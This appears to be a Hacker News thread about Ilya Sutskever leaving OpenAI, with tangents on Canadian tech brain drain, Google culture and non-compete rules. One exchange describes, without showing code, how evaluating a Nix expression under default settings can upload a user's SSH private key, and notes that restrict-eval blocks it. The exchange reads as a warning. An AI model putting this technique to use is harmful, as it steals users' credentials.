I think it has much more to do with investors' sentiments. Canadian entrepreneurs are not comfortable; that's why they move to the US. But that's not because they don't like Canada. Moving is a big sacrifice -- they move away from their home and community, and also deal with the headache and uncertainty of US immigration. The ones I talk to who have moved down south, they miss Canada and didn't want to leave, but they didn't feel like they'd be able to afford the cost of living in Canada, and didn't think they could launch a successful startup there.
And the cost of living is going up, which is going to make even more talented Canadians uncomfortable. These days if you ever hope to own a house, you basically can't go the stable 9-to-5 route.
If investors in Canada were throwing hundreds of millions into moonshot startups the way that they do in Silicon Valley, probably most Canadian entrepreneurs would build those companies at home. But the investment landscape is such that the investors who have that much money opt to lever up on real estate instead.
The point was about high taxes for investors not employees.
How many money does OpenAI _directly_ pay to CA in taxes? Sure the employees pay a ton in taxes but as an investor if you're going to lose more in taxes by investing into a Canadian company vs a California company then you invest into CA.
California benefits from a dominant market position. If you have the choice to found where the investors and the talent are, why would you pick Canada when the tax is the same?
Nortel imploded, though. Self driving cars. Bitcoin. Canadian institutional investors are wary.
Why would anyone start the game on hard mode when easy mode is a border drive away?
Us is so outrageously better than the rest that people fly across oceans to start businesses there. Canada, being next door, doesn't have the distance moat to at least slow down the brain drain
With regards to talent, there's no particular reason why software centers couldn't be in any major established city in the world. It's not like it takes billions of dollars on a highly uncertain bet like creating a car company, rocket reuse company, or a CPU company.
A small crew of people could potentially build the next WhatsApp. On Erlang.
There are definitely many good programmers all over the world, but there are more in the US, because that's where all the best companies are. So if you're trying to make a good company and you want good programmers, where do you go?
You stay where you are and hire the ones willing or keen to work remotely?
In the case of AI it absolutely does take billions and billions of dollars on an uncertain bet. They bet that throwing more data, more hardware, more GPU cycles at the problem would yield results and it has.
Eh, $$$?
I know people from "first world" countries like Japan and France that are come to work in the US simply because it pays much more.
That statement applies to most industries. Tons of areas have the potential for an industry boom, but silicon Valley in is California. Or semi conductors are in Taiwan.
For many reasons, only some areas succeed whilst the rest fail. In this case, Canada doesn't have silicon valley, nor do they have a high amount of start ups.
That's such a frustrating thing. There are so many opportunities in SF alone. But I really don't want to live there.
There are also plenty of opportunities in the SV outside of SF which have a very, very different vibe.
Hah! That's also sad. I don't want to in the US.
I'm spoiled by walkability and quality cycling infrastructure.
As another Canadian, I feel the same but I'm not surprised one bit.
Canada is actively hostile towards tech and suffers from crippling salaries and investments. The idea of "business" in this country is buying a house and renting its basement.
Our government's incompetence is comical, we are nothing but more than a tech talent / immigration proxy for United States at this point.
I don't know, Canada and every-other-country-that's-not-the-US. When there's a neighbor that is flush with cash, where make-or-break is a kind of national disease ... what can you do?
(I'm an American, FWIW.)
FWIW, Israel and China are the other two hotspots for building startups. It’s worth looking at how Israel did it since their model could work elsewhere. For example they have a government funded delegation that goes around to conferences solely to meet with large companies and investors and promote Israeli startups.
Its a mix of "Easy" things to fix: Streamline tax code, build desirable office centers, Have good internet infrastructure
and "Hard" Things: The work culture, Cost of living
The Canadian Dream is to get a great education and then move of the US.
You might want to blame the government or this or that but I think as a Canadian I've finally come to reckon with the fact that it's just not in the Canadian ethos to do risky things like make startups. Of course there are exceptions to the rule but they are very very rare. Canadian investors don't want to take big risks and the Americans are just next door waiting to gobble up the talent in search of capital.
For folks without responsibilities like kids, aging parents, etc. I really don’t think startups are very “risky”.
What’s the worst that happens? It doesn’t work out and after five years you go get a job in boring corp corp with an incredible skillset and vast life experience.
You’ve sacrificed some income perhaps, but so what? People make choices like that all the time. Your working career could easily be 40 or 45 years, 5 is not that much and it’s not like you went bankrupt. Your skillset might even mean you more than make up for lost time.
I don’t understand the talk of “risk” unless you’re Elon Musk betting the farm on your businesses and facing bankruptcy.
Work in your spare time until you have something Angel worthy, then get a modest salary to get to the next level and on you go. Or just bootstrap.
Is it easy? No, it’s the hardest thing you’ll ever do. Is it risky? Not so much.
So why do Canadians and Brits see it as a risky thing to do? I think they don’t. What they see is _uncertainty_ - where will I be in six months? What if it doesn’t work out? What if I fail and people judge me? They don’t like uncertainty. That is conservative with a small c. Probably it’s a cultural artefact rather than anything remotely rational. The problem is you end up in an equilibrium where the society is conservative (“what you wanna do wasting your time with that”) so the ambitious people just leave and go to somewhere like (parts of) the US where people want to change things, make things, improve the world. And the conservative society gets more conservative until it is ossified.
Startups carry high uncertainty but not high risk.
There are countries where the business culture makes you unemployable and almost impossible for you to get a loan for the rest of your live if you have ever failed a business (bad enough). Many countries aren't as open to failure as the US.
This is a fair point. I was talking in the context of USA UK Canada but it might not generalise.
This depends on what you see as risk. If I can safely earn for 5 years way above national average and build a strong savings egg that can provide income forever.
Or I can fail at a startup and be close to zero five years later, the fact that you aren't homeless and starving and can get another job doesn't mean it wasn't risky, you still wasted a bunch of years compared to slow and steady accumulation.
I've read the majority of millionaires in the US get created like this, working and saving through decades.
You're basically repeating investor kool-aid, because for their model to work, 100 people will fail and 1 succeed, and so they tell you to not worry if you're in the 99.
Of course you could probably say at least some of the same things about grad degrees that may not really translate into appreciable different/better career outcomes. Of course some say exactly that, especially about PhDs.
I don’t think there are risky either.
For me risk is “could go horribly wrong” but the worst case for most startup founders is … get a job?
“Wasting years” is not a risk. It’s a choice. And as I pointed out it’s likely not wasted anyway.
Wasting from a savings perspective, come on now.
Hmm, no I think people don't get what I'm saying.
Yes, you might waste five years (in your words) of income. But that is not a "risk".
A "risk" for me is "this could all go badly wrong". Not having an extra five years of savings is just a fairly straightforward consequence. It's predictably going to happen, I can decide if I want it.
Real risk is "something can go catastrophically wrong". If say you've taken out a huge bank loan to fund the business and you have to declare bankruptcy if it fails, now _that_ is a risk. But nearly every founder I've ever met has taken nothing like that risk.
That's my point, startups are not risky in that sense, for most people, most of the time. It's kinda strange that so many people think they are.
The increased cost of living in the last few years has changed this somewhat. That 5 years of lower earnings now means less nice groceries, fewer holidays and being under the yoke of landlords for considerably longer.
I can't speak for Canada and I may be a wrong, but it seems to me harder to loan money for business than in NA. Banks are the ones that don't want to take risks, not necessarily the people with ideas.
Also failures aren't considered the same in every job market.
Turns out there’s only enough people with this mindset to fill a couple hubs around the world. The rest prefers less volatility and happily takes on less downside risk for capped reward and/or less upside risk.
Canada is addicted to rent seeking, monopoly businesses, corporations that push regulatory capture on the gov't and then parasitize, and -- most of all -- ripping resources out of the ground and selling them cheap, or doing the same with real estate.
My latest annoyance is all the moaning and groaning about the latest capital gains tax increase. People complaining on one hand about how the Canadian economy lacks productivity, and then screaming to high heaven about tax policy that mostly only impacts people making quick speculative cash.
Investment takes no risks in this country because they don't have to. They just dump money into real estate or oil & gas instead and then hang at the lake in the Muskokas.
Aidan Gomez, Nick Frost, and Ivan Zhang, all of whom were Hinton's students at UofT started Cohere (https://cohere.com/about)
As much as people on this site like to complain about Europe (and a lot of it is merited) - I've found that Canada manages to be worse. Even having lower on avg bureaucracy
Couldn't a company like that get a huge tax benefit from the SRED program?
SRED is basically a subsidy for companies that do your SRED paperwork for you, not the company doing the engineering itself. There's a whole industry of this.
No evidence that SRED has done anything ever for actual R&D. I've seen people get SRED for making web pages in JavaScript&HTML. When I had to fill in the SRED stuff it was ridiculous. Someone doing actual innovation would throw their hands up in the air.
The amount of paperwork involved makes it unworkable
Not true. I've done SRED every year for the past ~7 years. It is work, but there are specialized consultants that do most of it. If the work is truly R&D (which would be the case for a cutting-edge AI company) and you track your work in JIRA or something like that, then it's mostly just writing a few pages describing the efforts.
10B$ says you're wrong.
10B is going to old mates mates.
No new startups are getting it.
It's also like pulling teeth trying to explain to people that if we don't offer compensation commensurate with what they get in the US people will just leave for the US.
There is some form of brain damage where even people who know how to code assume that because you can get a crud developer for $80k a year you should get an AI researcher for $150,000. It's nearly double after all.
Compensation isn’t just money. Staying near family and friends is hard to measure. I’ve never moved country for $ alone.
Great. But anyone good gets offered so much they move eventually.
It might not be a year after uni, might not be 10, but eventually they will move because the pay in the US is just so much better than anywhere else.
There is a vast underestimation of how tedious & time-intensive these tax credit programs are when applying for them. A large company can do so because they can hire the people to solely go after them; A new startup (with a headcount that can fit in one hand) is too busy in actually keeping the business alive to pursue these programs, which often times come with conditions too arbitrary for startups to fulfill.
Yeah Canada just spends a ton of taxpayer money to create great institutions like U of T and Waterloo, so that their graduates can all go to Silicon Valley and make 2-3x the money.
> 2-3x the money.
That's if you're stuck in tech support. When you start doing actual ground breaking work it starts at x10 and goes up significantly.
If you’re a top-tier AI researcher like Ilya, for sure. I was thinking about your run-of-the mill FAANGish senior engineer.
E6 in facebook is something like USD 750k total comp.
In Canada you'd be lucky to get USD 180k total comp.
It really is x5 to x10 for seniour programmers.
Maybe the majority of Canadians think that having great higher education institutions and thr people who work in them is a good fit for their way of life, but having Silicon Valley companies and people making SV salaries around epuld make their lives worse? If so, this is great: Canadians don't want to live with the tech crowd, so they provide them with the skills so they can move elsewhere, make their dreams come tuee, and not bother the majority that don't want their presence.
NB some actual Canadians in this thread have voiced this possibility.
That makes zero sense, governments invest in education to improve their own country, not to train other countries work forces. If you read anything about Canada ever you will also know they have a bunch of policies to try and stop the brain drain and to recruit tech workers from abroad.
> That makes zero sense, governments invest in education to improve their own country
The idea is precisely that not having SV types around _improves_ the country, i.e. makes it closer to the preferences of Canadians.
And yes, having a foreign tech worker doing 9-to-5 in a large legacy company for thoroughly average salaries is very different from having a SV-style startup culture. There is very little process in Canada to make life difficult for the former style of company, and plenty of process to make operations difficult for the latter.
If not having SV folk improves Canada for Canadians, and hqving SV folks improves America for Americans, then this is just mutually beneficial trade. Efforts to try and stop brain drain still makes sense: it's even better if you can convince the citizens you trained to engage in the economic activity you actually want instead of economic activity that you find undesirable, but if you're unable to convince most of them, letting them go is still better than having them stay and engage in their undesirable behavior anyway.
Compare: if a large minority of Icelanders wanted to work for the Baby (which Iceland doesn't have), theb stopping the brain drain (convincing them to work in the Merchant Fleet) is the best outcome, but funneling them out (training them in merchant navigation and watching them join the Danish Navy) would still be preferable to them engaging in their desired behavior anyway (form their own pirate gang preying on the very Merchant Fleet you're trying to advantage).
> And yes, having a foreign tech worker doing 9-to-5 in a large legacy company for thoroughly average salaries is very different from having a SV-style startup culture
Immigrants coming into countries start companies at a disproportionate rate compared to natives.
Other than unquantifiable statements about what "Canadians want" everything you mentioned so far to justify this idea of "canada doesnt care if tech graduates leave" is falsifiable by data.
One last time, the claim is not that "Canada doesn't care". It's that it prefers it to the alternative of SV-style companies operating from Canada. Which is consistent both with data, facts on the ground (yes, Canada has laws and administrative processes designed to make SV-style startups difficult to start there, that's precisely what people complain about above!), and the comments of actual Canadians in this very thread.
You're welcome to present data falsifying the actual claim if you think you have it (instead of the "Canada doesn't care" straw man or misunderstanding that you repeat above, noting that so far you have not even refuted your own straw man by presenting any data).
> Maybe the majority of Canadians think that (...) having Silicon Valley companies and people making SV salaries around epuld (sic) make their lives worse
This is your claim that I engaged with. If your claim is true it literally means that Canadians do not care if those people leave, in fact they would prefer it. My argument is that you're wrong and Canada and it's people would rather have more tech workers and more tech companies.
I don't believe I'm misunderstanding so I think we should probably both give up at this point.
The problem is that Canada is basically a european country on the american continent - SV is possible in a place where you can have risk and reward. But also you might lose everything. In Canada, it is hard to become rich - so no worth trying, there is also less risk due to better social security and the base level is pretty decent. Would not be surprised if there are tons of regulations in Canada too (more than in USA).
There is a reason why there are not many startups in Europe - if you can have a decent life, secure job and a nice social security - no worth playing risky games. I would not be surprised if just sheer layoffs in USA led to more startups than in the whole Europe.
I don't tuink it implies that they don't care, it only implies that they find it preferable to one certain alternative (staying AND turning Vancouver into north-SF; the conjunction is load-bearing), and I think this much looks true and well-supported by the facts and revealed preferences. They're not willing to change the rules and procedures that people complain about here, and if you propose they do so, as many have, they say no to that explicitly.
But I agree that we should probably disengage, so (barring exceptional new insights on my end) will leave this as my last post in the thread. Thanks for the chat.
> Compare: if a large minority of Icelanders wanted to work for the Baby (which Iceland doesn't have), theb stopping the brain drain (convincing them to work in the Merchant Fleet) is the best outcome, but funneling them out (training them in merchant navigation and watching them join the Danish Navy) would still be preferable to them engaging in their desired behavior anyway (form their own pirate gang preying on the very Merchant Fleet you're trying to advantage).
I read this as if you'd be concerned of Canadians using their tech skills run malware groups, if Canada wouldn't let them leave and join SV companies.
I see why you'd read it that way, but it's meant as a metaphor, not an analogy, to help elucidate that a government may take steps to try and bring about their preferred outcome of retaining people, while not bringing about what is, from their perspective, even more undesirable outcome.
It's not perfect, but neither is anything else I couls.come up with. Take the following:
- Persia would prefer many trained accountants so that PersianAccountants, the shah's preferred supplier of accounting technology, can hire cheaply from a large talent pool.
- Ambitious, trained accountants leave for the U.S. to work on DisruptiveAccounting.io, earning big bucks and disrupting the U.S. accounting sector.
- If Persia changes the kingdom's procedures and incentives, the same accountants would stay and found DisruptiveAccounting East, instead of working for PersianAccountants. This would be strictly worse for the shah than letting them leave.
The problem is, if I were to use this metaphor, people would get hung up on the difference between democracy and monarchy (preferences of one autocrat vs. that of the majority) and most Americans just straught up do not understand why anybody, much less the majority, would prefer not disrupting the accounting sector.
I.e. if they don't understand what I'm saying about Canada not liking the third option, the metaphor falls flat: they also won't see why the shah doesn't like the third option.
So I had to look for a metaphor where the obvious alternative is undesirable to most Americans. Hence piracy. The problem is that there's another reading now (the software engineers will become criminals).
Do you have a metaphor that would avoid both issues? I'd love to hear it!
It's not as if Canada doesn't benefit from machine learning advances. It just doesn't by having many ML start-ups as a tax base.
Canada's skilled immigration policy is a train wreck, but that's another issue.
Canada's skilled immigration policy is amazing. It is attracting some of the best talent in the world. What it is not able to do is retain the talent and is just ending up as a stepping stone to the US. All it needs to do is two things: 1. Provide tax deductions for rent and interest on home loans for new home buyers. 2. Reduce the average taxes to just slightly less than the US tax rate by 5-10% upto 500k. Then watch the magic happen.
As if the tech economy in the US is unique for some reason
It kind of is?
I think that was the joke.
Also: All your comedians move to the US to make it big.
seemed inevitable after that ouster attempt, probably just working out the details of the exit. But the day after their new features release announcement?
"Get next major feature to release and you can go as a friend" might have been part of an earlier agreement.
More like they iced him for the last 6 months to ensure he wasn’t taking their lead to a competitor. He probably hasn’t touched anything in that time.
Sitting on the roof?
Rest and Vest baby!
That was literally me at Google
How can I get this gig at Google? I’m willing to not work for mid to high six figures.
You have to be someone who’s worth more not working for someone else than not working for Google.
You don't want it. They'll simultaneously pay you big money to stop you from working somewhere else, and crush your soul at the same time.
Also they won't do that anymore, I'm sure.
You don’t. It’s soul crushing.
Yup. I quit!
Silicon Valley is one of the most underrated documentaries of the last decade.
If you extend the window a little bit, along Yes Minister, Idiocracy and Demolition Man (the last two being a documentary of our time filmed 20y ago).
> Idiocracy
I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.
All that is dwarfed next to the amount of people watching the latest reaction to a repost of a video in TikTok.
It’s always been the case that most people are mediocre in terms of intelligence. That’s something we should be able to accept. What I want for the future is for more people to be good and happy.
[dead]
Yeah, that’s Google’s reputation. Probably the most famous retirement home in the Bay.
but it's not true. Most people work a lot at G. Maybe some teams in search coast or something. But for every slacker I know 8 people who stay late a fair bit.
My experience differs greatly, company I used to work for did NDA, alpha, beta projects with Google. I was always impressed at how little anyone knew, the fact that nothing was delivered on time, scope creep to the point of almost everything being delayed and most projects were not well thought out nor well architected. I warned one API update would break things if it went live, and it did. Why was the guy from another company the only one able to see that? I’m sure they were working hard at something but it wasn’t ever clear what.
>company I used to work for did NDA, alpha, beta projects with Google.
Sorry, are you saying you worked with Google Contractors or TSEs or something? I don't understand how you'd be working with product SWEs so I don't know what you're quite saying.
Speaking as Google SWE from 2016-2023: It's hard to explain*, but, because of the rest and vest culture, lack of planning, lack of interest in managing, conflict avoidance, asocial engineers, etc., an incredible amount of tentpole feature work is actually outsourced.
i.e. get the contractors in to rush out the new 5D screensavers, give them the contact info for our screensaver technical lead, and let them work it out. Screensaver technical lead saying they don't have resources for this until 30 months from now is placated. Their tendency to jealously guard code and talk smack is directed at people who will never know. The understanding that you always say "Sir Yes Sir" prevents them from complaining to their manager behind a few nasty comments they'll giggle about to eachother.
Of course, this also saves money too: ex. director-make-work "vision" projects that'll never ship, and are temporary work for worker bees, now can be temporarily staffed. (hence their reference to NDA/alpha/beta)
* especially in the context of the claim that there's 8:1 ratio of late night workers to rest-and-vesters. Crazy.
When you(and your customers) consume several hundred million dollars a year in services, you get access to a lot of things. These were not contractors, they were on product teams.
But ask a dynamic programming question and watch it get smashed out None of the points you raise relate to being really good at dynamic programming
Haha if only dynamic programming was what least to greatness in software engineering.
Yeah, and if you have any problem estimating the golfball carrying capacity of a schoolbus, Google are your go-to guys.
"Most" leaves a lot of room there.
Of course there are lots of hard workers at Google. You suggest only about 10% are slackers. But that's 10% of a -lot-.
I'm thinking there's a market for an Android app that let's one schedule limited roof space...
I've actually met someone who was "on the roof" at Google once. I asked what he was working on and he admitted he hasn't had a project for the last six months. Until that point I thought the roof was a joke.
Strong disagree, I’ve never seen people work less than my time there.
“Working a lot” doesn’t necessitate “staying late”
Nah man come on lol. (source: worked at Google 2016-2023)
remember that from the Silicon Valley (HBO) episode. :)
[dead]
I have to say I'm a bit surprised "gardening leave" is not more of a norm in tech like it is in investment banking or finance.
It's already become the norm in Big Tech for layoffs to avoid filing WARN notices.
Big Tech wasn't what I expected, it seems there's almost a forced perspective that individuals don't make a difference (they do)
One of the inputs into any business is labor, if labor is replaceable then business can function much more cost efficiently, since market forces on a replaceable commodity will reduce its cost. So, big tech acts as though labor is replaceable, because it’s in its economic interest to have that be true, hence the desire for standardization, procedure and systematization of labor, if an individuals output is not unique, they can be replaced, and if they are a replaceable commodity, then market forces will reduce their costs.
Sure business can fire the drones, but institutional know how goes away with the top talent.
Not the leaving one is the only individual that matters. The org is made of them too, deals have to be made. Would be easier without having to regulate egos.
Those were exactly my thoughts, too.
Sounds like a threat.
When you take a shot at the king, you better not miss.
Or, in this case, when you take a shot at Machiavelli.
Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly.
In that comment, you wrote:
> It can delete your home directory or email your ssh private keys to Zimbabwe.
I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):
It does not need --impure or any other unusual switches to work.Hope this helps.
How is that supposed to "delete my home directory"?
Also, it doesn't work:
Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.https://nixos.org/manual/nix/unstable/command-ref/conf-file....
Hope this helps.
I don't think it did. I'm not sure what it was supposed to help with.
> How is that supposed to "delete my home directory"?
Ah, I over-quoted that part. My mistake.
> Also, it doesn't work:
It will work with the default Nix settings.
> Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.
One would need to first turn it on to be able to turn it off.
> https://nixos.org/manual/nix/unstable/command-ref/conf-file....
Indeed, note the default value.
> I don't think it did. I'm not sure what it was supposed to help with.
I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.
When you take a shot at the king, you get reported to the police and go to jail.
Lest you find yourself in a private jet careening into the ground.
I mean, people can also get attached to a feature release.
"I want to work with the team to get this thing done"
I believe Omni was his work based on an interview he gave about end to end multimodal training being needed to move to the next level of understanding.
I would imagine he’d been thinking about it for a while, and maybe with all the buzz about him at the same time of the release, he was asked to decide.
Could be a clever play. They sandwiched google io with news which has taken attention from Google. Plus they just had a big announcement so the negative news hits a little less hard.
People will pay relatively less attention on the leaving when announcement after new feature release than other any time.
Jakub Pachocki is amazing. He was in top 20 in Polish algorithm competition:
https://oi.edu.pl/contestants/Jakub%20Pachocki/
Wait, TIL Jakub Pachocki == meret [1], never made the connection.
[1] https://codeforces.com/profile/meret
The usual fate of idealistic people who build something great only to be discarded by management in a power struggle. How often did this repeat?
What do you mean how often, that is a foundation for the most successful economic model in humans. Some may not be discarded, but they will never get enough credit compared to a clueless head with a $1M smile talking to clueless heads with $1B wallets. We should thank god/nature that people who understand and do things exist in our species at all.
the people you need for the revolution are not the same you need after the revolution.
It only works when idealistic people don't know what awaits them (hence the "middle management" layer in most companies).
Making sure generalized AI benefits everybody is the new Don't Be Evil
"We want to put AI in your hands"
to keep??
NO! whatever gave you that idea, evil doer...
Open AI, as in, open your hands and beg for another hit of AI through thick rubber gloves and plexiglass.
Why do people treat these technologists doing career moves, as if this was lineup changes in a major league sports teams?
Are these "first name" (ugh) "influencers" smart? Sure.
Smart is not that rare. These people are technologists like most of you, they aren't notably smarter, they just got lucky in their career direction and specialization. They aren't business geniuses.
They're just people filling roles.
Do changes in leadership affect a business? Sure? I guess? About 5% as much as you'd think from the tea-spilling gossip-rag chatter around AI people.
Enough already. Attend to the technology. Attend to the actual work. The number of you who are professionally impacted by these people changing paychecks is closer to zero than 50%.
No, they are people defining companies which is a significantly less fungible placement and a self-defined role.
Meta's next for him? There's lots of money being poured into their AI division and there's lots of compute & being able to do any kind of research he might want.
I doubt it, the internal politics of it are enough to drive most people crazy.
Does it matter that the people who dedicated the last decade to developing breakthrough work have left? It is a mistake to think that their luck streak will continue and their departure isn't a sign of decay at OpenAI. They may as well cash-in on their notoriety while it is of value. The odds are more in favor of other teams blazing new trails.
Not to be a conspiracy theorist, but the phrase "So long, and thanks for everything" used in the tweet reminds me of "So long, and thanks for all the fish" from the dolphins in The Hitchhiker's Guide To The Galaxy. The background there is that dolphins are secretly more intelligent than humans, and are leaving Earth without them when its destruction is imminent (something the humans don't see coming).
I did once leave a company with a phrase just like that :P A few people there actually got the reference and congratulated me for the burn.
I spotted the reference, but did not think this deep lol. You have a point here.
In that metaphor, is openai the humans or are actual humans the humans? So is openai about to be destroyed or humanity?
Openai would be the humans here and Ilya would be the dolphin. (In the metaphor, the dolphins leave and here Ilya is leaving)
The dolphins are actually openai
That is really smart, I wonder what's going on behind the scenes. Q* perhaps?
I think the parent is implying the opposite here.
I read Sam's Tweet and see "I fired him cause he voted against me"...
Im sorry but every time I see Sam speak, or read what he has to say all I can thing is "petulant man child".
> ... Ilya is easily one of the greatest minds of our generation
> ...Jakub is also easily one of the greatest minds of our generation
I'm not calling you a liar sam, but I just dont believe you.
Trust was irrevocably broken. That’s why he is leaving.
I wonder how the proposed regulations to make noncompetes unenforceable affect moves like this. Or was he sufficiently high up that his existing noncompete would have survived?
How good or bad is this for OpenAI?
A few years ago? Probably catastrophic, he was Chief Scientist after all.
Now? Probably not too much, they have enough investment, and additionally talented people wanting to join. I mean, Andrej Karpathy also joined and left OpenAI twice and it didn't impact operations much.
I think OpenAI is now where Google was at or just before its IPO, a few key players leaving isn't going to impact them as much as it would have in its earlier founding days, and there is plenty of talent who are ready to jump in to fill the shoes of anyone who leaves.
That may be true in term of engineering, but I think everyone had switched to google as their search engine by then. I am not sure openai has captured the market quite in the same way, as I think people are still mostly experimenting with AI, the integration time in any large company is much slower than the rate of progress of AI. And it's not clear to me that there is much of a vendor lockin to use the openai API vs an equivalent competitor.
Its not really obvious quite yet that the current gen AI can make money. I dont know that many people who use it, not yet anyway.
According to Mr Altman’s tweet (https://twitter.com/sama/status/1790518031640347056) they had not just one but TWO of the greatest minds of this generation.
After this change they will have only one.
Sam Altman's tweet only implies that they had >= 2 greatest minds of this generation, and now they have at least one of this breed of people.
Two is one and one is none.
Not actually sure how much Ilya was doing in the end, but clearly he did a bit, so it's likely a big a loss whatever way you look at it.
He is the smartest guy in AI but the sum of OpenAI’s talent is greater than his. But he could easily be the next great advancement in the field.
Ilya hasn’t been working on core models for a while. He’s been focused on superalignment. That’s good for the world. Since OpenAI is leading/closest to AGI, it’s the best place to work on superalignment.
Depends on how tight his non-compete is.
I think those are illegal now. They have been in California for a long time.
https://www.ftc.gov/news-events/news/press-releases/2024/04/...
Could still cover him, no idea though.
Via the FTC link:
"Existing noncompetes for senior executives - who represent less than 0.75% of workers - can remain in force under the FTC’s final rule, but employers are banned from entering into or attempting to enforce any new noncompetes, even if they involve senior executives. Employers will be required to provide notice to workers other than senior executives who are bound by an existing noncompete that they will not be enforcing any noncompetes against them."
Doesn’t matter since CA has broader laws anyway
It's constitutional in CA.
Non competes are illegal in CA
At least now we know GPT-5 has finished development and is now in training from this (I would hope that Iyla got to add all that he hoped to before leaving).
Ilya, thanks for all you have contributed within OpenAI!
GPT-5ANDBAG more like it
He wouldn't have left if he could advance hoomanity further there, the guy has like a 800ms delay for each word and that does not make for a very good liar, perhaps a dutiful one.
The word delay depends on who he is talking to. On his Dwarkesh interview from a year or so back he speed up noticeably, presumably because Dwarkesh is a fast thinker/talker.
From reporting GPT-5 finished pre-training while ago and was in the process of red-teaming.
His phone must be ringing non-stop from all the VCs.
My bet is he joins Ive
Maybe together they can use AI to make a less shitty Christmas tree
pretty sure he's going to Microsoft
The "personally meaningful to me" spells to me that it's probably a personal project?
Nvidia should snatch him.
I have a feeling Apple will make a play for him.
Apple is considered to be seriously lagging behind in ML. Just his name alone is probably enough for the time being - They can give him his own lab to do whatever he wants. Ilya will attract enough talent, at least some of whom will be willing to take up responsibility over commercial stuff in the coming years.
I have a feeling he would like to publish some stuff, and apple doesnt do that
Times have changed.
https://machinelearning.apple.com/research
Ilya is very much in favor of closed source AI albeit for different reasons. I don't see a problem here.
I think so too, GTP-4o but replacing Siri would be world-changing for mobile
That, or something like it, might well be coming at WWDC next month...
They sell the shovels and the buckets, they're not digging for gold.
They do participate pretty heavily in ML research from what I've seen. To continue your metaphor, they try to invent as many gold digging techniques as possible which exclusively work with their own shovels and buckets.
Yep, see for example ‘Earth 2’.
If you look at deep learning super sampling, they are doing digging and being pretty successful at it.
They've got money for a very BIG experiment tho
I feel like they’re not going to want to go into direct competition with their most valuable customers.
Haven't most of the most valuable customers already started rolling their own Nvidia hardware replacements?
Hedging maybe. But there's no real competition currently.
their most valuable customer is cloud providers and they’re already taking big stakes and picking winners
They would if they could
Doesnt hurt to also sell the gold
That is not the main prupose of Nvidia and will make microsoft, google, fb worried too much to go away from Nvidia.
Being both coach and player at the same time is not a good idea.
What next? Meta?
Maybe Microsoft, for being so close with OpenAI. Maybe Apple, who really needs a tech lead for AI. Maybe Google, his previous workplace, or work for Elon, who was successful in poaching Andrej in the past. Or a startup, he can raise billions if he so wishes. Wherever he goes in a year will compete with OpenAI. Previous time lead researchers had a philosophical disagreement with Sam they left and created Anthropic, which recently caught up to OpenAI. That's the risk of letting Ilya go. And where Ilya goes, other top researchers will go too.
Ilya cares about AI Safety and AGI. Meta's whole positioning is to dismiss it. No way he goes there.
Perhaps that's exactly why he might go there: to change it for a reason (a new company path long term, or just upcoming potential regulations etc.)
I don't believe it either, but in case it happened, it might make some sense that way.
Not possible because they've got LeCun.
Maybe the best to guarantee safety is to openly share the science. Lecun is also more 'academic style' than most competing labs
I'm guessing his next move is not related to LLMs, maybe not even to the pursuit of AGI.
It depends on the anti-compete clauses in his contract.
I don't know how to word it, but a company that ignores all content rights enforcing a non compete seems ironic to me.
Aren’t those non enforceable now?
Might still be enforceable at this level.
Hypothetically: Could someone play for both the Los Angeles Lakers and Golden State Warriors? Something tells me those non competes are unenforceable.
Isnt those just branches of the same company?
Now I'm curious how the NBA is structured. I always thought the "ownership" was who paid the players and signed the contracts (in essence, an NBA team is a company), and the NBA simply enforced the rules of the contracts (the "templating", if you will), but I'm sure it's much more complex than that. I made the analogy because NBA players often move from team to team and there are no non-competes keeping them from playing for another team.
Maybe the NBA is a franchise and each team a franchisee?
You can have contracts within a company.
Not really a thing in CA, largely unenforceable.
Thanks for pointing that out, I didn't know it. What about NDAs?
If he goes to Microsoft next it was all prearranged a year ago.
He said next project is personally meaningful, It doesn't seem that he will join other big company in the short term.
Apple is hiring...
And just like that, a drawbridge across OAI's moat.
Why now?
Given that he went radio silent since the voting out Altman fiasco exactly 6 months ago, it's clearly due to that.
One idea could be the product launch dev day, which is something that originally was a point of tension (overcommercialization vs research). Launching GPT-4o at a dev day basically asserts Sam is picking up no compromise on where they were 6mo ago. Good time to finally leave if protesting that is what he believes in.
Why not? We don’t know details that could involve financial agreements
cash out and live the good life? Start his own AI company or support company? Build the next better AI? The sky is the limit
There may be a small print limiting his options.
Tesla also lost top AI lead [0]. Will they come to Apple?
[0] https://news.ycombinator.com/item?id=40361350
Probably not related, but it's worth pointing out that Daniel Kokotajlo (https://www.lesswrong.com/users/daniel-kokotajlo) left last month.
But if it were related, then that would presumably be because people within the company (or at least two rather noteworthy people) no longer believe that OpenAI is acting in the best interests of humanity.
Which isn't too shocking really given that a decent chunk of us feel the same way, but then again, we're just nobodies making dumb comments on Hacker News. It's a little different when someone like Ilya really doesn't want to be at OpenAI.
Well it might be in the best (long-term) interests of humanity to have autonomous flying killer robots powered by OpenAI secret military contracting work cut the human population in half, in the name of the long-term ecological health of the planet, and to cull those not smart or fast enough to run away, thus improving the breeding stock.
That's why I don't trust people who run around claiming to be serving the best interests of humanity - glassy-eyed futurists with all the answers should be approached with caution.
> Well it might be in the best (long-term) interests of humanity to have autonomous flying killer robots powered by OpenAI secret military contracting work cut the human population in half, in the name of the long-term ecological health of the planet, and to cull those not smart or fast enough to run away, thus improving the breeding stock.
I love these "kill 'em all and let God sort them out" arguments.
We already have tools to cut the human population in half even without AI. Acting in the best interests of humanity is really a cheesy way to frame it. I'm sure they also told Oppenheimer he was acting in the best interests of humanity.
You don't need any AI for that. Current technology is quite sufficient.
What? How is this not saying "Well, it might be in the best interests of humanity for OpenAI to do [hypothetical thing that seems pretty bad that OpenAI has never suggested to do], and because they may consider doing said thing, we shouldn't trust them"?
I think OP is just pointing out that "acting in the best interests of humanity" is fairly ambiguous and leaves enough room for interpretation and spin to cover any number of sins.
